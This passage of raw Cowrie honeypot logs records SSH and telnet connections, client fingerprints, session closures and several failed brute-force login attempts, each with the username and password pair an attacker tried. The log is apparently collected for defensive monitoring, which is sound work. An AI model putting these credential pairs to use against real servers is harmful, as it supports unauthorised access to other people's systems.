{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:18.522357Z","src_ip":"213.209.159.158","session":"28287f9dbc73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":47098,"dst_ip":"10.17.0.5","dst_port":22,"session":"96e49c7d9549","protocol":"ssh","message":"New connection: 213.209.159.158:47098 (10.17.0.5:22) [session: 96e49c7d9549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:18.603055Z"}
{"eventid":"cowrie.session.closed","duration":120.00235795974731,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:19.586193Z","src_ip":"49.88.156.34","session":"11e5bbcdcb26","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:20.638683Z","src_ip":"213.209.159.158","session":"96e49c7d9549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:20.642507Z","src_ip":"213.209.159.158","session":"96e49c7d9549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.707396745681763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:21.226561Z","src_ip":"62.210.97.77","session":"c9a6c8be7390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.196266651153564,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:24.023423Z","src_ip":"62.210.97.77","session":"a51829ed20f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.034746408462524,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:26.667721Z","src_ip":"62.210.97.77","session":"4c47ad712565","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.64424228668213,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:27.519412Z","src_ip":"165.232.131.181","session":"58c11ef3bdcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43606,"dst_ip":"10.17.0.5","dst_port":23,"session":"dda428cb835e","protocol":"telnet","message":"New connection: 62.210.97.77:43606 (10.17.0.5:23) [session: dda428cb835e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:30.298065Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"uzumaki","message":"login attempt [root/uzumaki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:30.723613Z","src_ip":"213.209.159.158","session":"96e49c7d9549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43610,"dst_ip":"10.17.0.5","dst_port":23,"session":"894d3d0c769a","protocol":"telnet","message":"New connection: 62.210.97.77:43610 (10.17.0.5:23) [session: 894d3d0c769a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:30.817507Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51480,"dst_ip":"10.17.0.5","dst_port":23,"session":"03bbc9e04da1","protocol":"telnet","message":"New connection: 165.232.131.181:51480 (10.17.0.5:23) [session: 03bbc9e04da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:31.531465Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":2425,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef5d230148a2","protocol":"ssh","message":"New connection: 89.218.69.66:2425 (159.203.135.109:22) [session: ef5d230148a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:32.248697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:32.253026Z","src_ip":"89.218.69.66","session":"ef5d230148a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:32.426495Z","src_ip":"89.218.69.66","session":"ef5d230148a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.0036795139312744,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:32.535053Z","src_ip":"165.232.131.181","session":"03bbc9e04da1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu2023","message":"login attempt [ubuntu/Ubuntu2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:33.139134Z","src_ip":"89.218.69.66","session":"ef5d230148a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.13395595550537,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:33.899410Z","src_ip":"62.210.97.77","session":"a25a97656b5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:33.986617Z","src_ip":"213.209.159.158","session":"96e49c7d9549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":16542,"dst_ip":"10.17.0.5","dst_port":22,"session":"80e5278e3cdc","protocol":"ssh","message":"New connection: 213.209.159.158:16542 (10.17.0.5:22) [session: 80e5278e3cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:34.092581Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:34.311110Z","src_ip":"89.218.69.66","session":"ef5d230148a2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:36.688894Z","src_ip":"213.209.159.158","session":"80e5278e3cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:36.692580Z","src_ip":"213.209.159.158","session":"80e5278e3cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.172062158584595,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:36.740216Z","src_ip":"65.60.27.33","session":"30400835e2f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":60410,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9d3738bfcee","protocol":"ssh","message":"New connection: 80.94.92.182:60410 (159.203.135.109:22) [session: d9d3738bfcee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:36.926388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:37.003220Z","src_ip":"80.94.92.182","session":"d9d3738bfcee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:37.096051Z","src_ip":"80.94.92.182","session":"d9d3738bfcee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.890586614608765,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:37.912697Z","src_ip":"62.210.97.77","session":"e4de268b5c9b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol@123","message":"login attempt [sol/sol@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:39.087090Z","src_ip":"80.94.92.182","session":"d9d3738bfcee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.19702434539795,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:39.583950Z","src_ip":"62.210.97.77","session":"cdeae55c59ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45940,"dst_ip":"10.17.0.5","dst_port":23,"session":"47d8b2d80785","protocol":"telnet","message":"New connection: 62.210.97.77:45940 (10.17.0.5:23) [session: 47d8b2d80785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:40.358781Z"}
{"eventid":"cowrie.session.closed","duration":34.90019464492798,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:41.310585Z","src_ip":"65.60.27.33","session":"d89f64d4f59a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:41.374425Z","src_ip":"80.94.92.182","session":"d9d3738bfcee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.246904611587524,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:42.631546Z","src_ip":"62.210.97.77","session":"ba8740331861","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"valentin","message":"login attempt [root/valentin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:46.187153Z","src_ip":"213.209.159.158","session":"80e5278e3cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52336,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2e0e597525d","protocol":"telnet","message":"New connection: 38.54.119.93:52336 (10.17.0.5:23) [session: b2e0e597525d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:46.731942Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52836,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c65243d02b3","protocol":"telnet","message":"New connection: 62.210.97.77:52836 (10.17.0.5:23) [session: 0c65243d02b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:49.507889Z"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:49.894785Z","src_ip":"213.209.159.158","session":"80e5278e3cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":20504,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9740cc72314","protocol":"ssh","message":"New connection: 213.209.159.158:20504 (10.17.0.5:22) [session: d9740cc72314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:49.973064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:52.213202Z","src_ip":"213.209.159.158","session":"d9740cc72314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:52.216893Z","src_ip":"213.209.159.158","session":"d9740cc72314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35176,"dst_ip":"10.17.0.5","dst_port":23,"session":"a465ff9af62b","protocol":"telnet","message":"New connection: 165.232.131.181:35176 (10.17.0.5:23) [session: a465ff9af62b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:52.766408Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52846,"dst_ip":"10.17.0.5","dst_port":23,"session":"272180e0f153","protocol":"telnet","message":"New connection: 62.210.97.77:52846 (10.17.0.5:23) [session: 272180e0f153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:53.398915Z"}
{"eventid":"cowrie.session.closed","duration":35.82804036140442,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:53.753033Z","src_ip":"62.210.97.77","session":"43e28b49df51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35952,"dst_ip":"10.17.0.5","dst_port":23,"session":"94cf0b84a8fe","protocol":"telnet","message":"New connection: 165.232.131.181:35952 (10.17.0.5:23) [session: 94cf0b84a8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:55.754587Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41810,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c743f888160","protocol":"telnet","message":"New connection: 62.210.97.77:41810 (10.17.0.5:23) [session: 9c743f888160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:41:59.191235Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vaibhavb","message":"login attempt [root/vaibhavb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:01.461841Z","src_ip":"213.209.159.158","session":"d9740cc72314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.48687958717346,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:02.784846Z","src_ip":"62.210.97.77","session":"dda428cb835e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:04.917155Z","src_ip":"213.209.159.158","session":"d9740cc72314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":41798,"dst_ip":"10.17.0.5","dst_port":22,"session":"4752791936c1","protocol":"ssh","message":"New connection: 213.209.159.158:41798 (10.17.0.5:22) [session: 4752791936c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:05.039974Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41824,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d8413cc2b58","protocol":"telnet","message":"New connection: 62.210.97.77:41824 (10.17.0.5:23) [session: 5d8413cc2b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:05.129880Z"}
{"eventid":"cowrie.session.closed","duration":35.541205406188965,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:06.358620Z","src_ip":"62.210.97.77","session":"894d3d0c769a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:07.250182Z","src_ip":"213.209.159.158","session":"4752791936c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 